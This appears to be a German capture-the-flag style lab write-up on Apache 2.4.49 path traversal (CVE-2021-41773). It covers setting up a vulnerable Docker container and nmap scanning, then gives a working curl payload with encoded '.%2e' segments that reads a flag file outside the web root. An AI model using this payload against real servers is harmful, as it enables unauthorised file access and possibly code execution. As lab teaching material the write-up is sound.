
Praktisches Labor zur Ausnutzung von Apache 2.4.49 Path Traversal (CVE-2021-41773) mit Docker, Nmap-Scanning und curl, um eine Flagge abzurufen.
Ein Fehler wurde in einer Änderung an der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff nutzen, um URLs auf Dateien außerhalb der Verzeichnisse abzubilden, die durch Alias-ähnliche Direktiven konfiguriert sind. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die übliche Standardkonfiguration „require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte für diese Alias-Pfade ebenfalls aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen.
Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
Ziel der Übung ist es, die in Apache 2.4.49 vorhandene Schwachstelle auszunutzen. Um sie auszunutzen, ist es notwendig, einen „Path-Traversal-Angriff" zu verwenden, um Dateien außerhalb der vorkonfigurierten Ordner abzubilden und eine Art Remote-Shell zu erstellen.
Für die Übung ist es praktisch, einen speziell verwundbaren Docker von Docker Hub zu verwenden:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Um die Images der gepullten Docker zu sehen:
$docker images
Den Docker auf Port 8080 ausführen:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Um zu überprüfen, dass er tatsächlich läuft:
$docker ps

Wie man sieht, funktioniert der Webserver einwandfrei:

Scan-Phase (wir versuchen, so viele Informationen wie möglich vom Host zu sammeln):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Enumeration-Phase (wir versuchen, die Informationen zu vertiefen, indem wir die in der Scan-Phase gefundenen Ports enumerieren):
$nmap -sV -sC -oA versionScan localhost

Um den Angriff durchzuführen, ist es notwendig, diesen Befehl auszuführen und zu versuchen, die Flag zu finden (falls sie in root eingefügt ist):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Um sicherzugehen, dass die Übung erfolgreich war und die Flag tatsächlich die gefundene ist, vergleiche die Zeichenkette mit ihrer Entschlüsselung in Md5 („HaiTrovatoLaFlag_Apache"). Wenn die beiden Zeichenketten übereinstimmen, dann ist das Spiel gewonnen!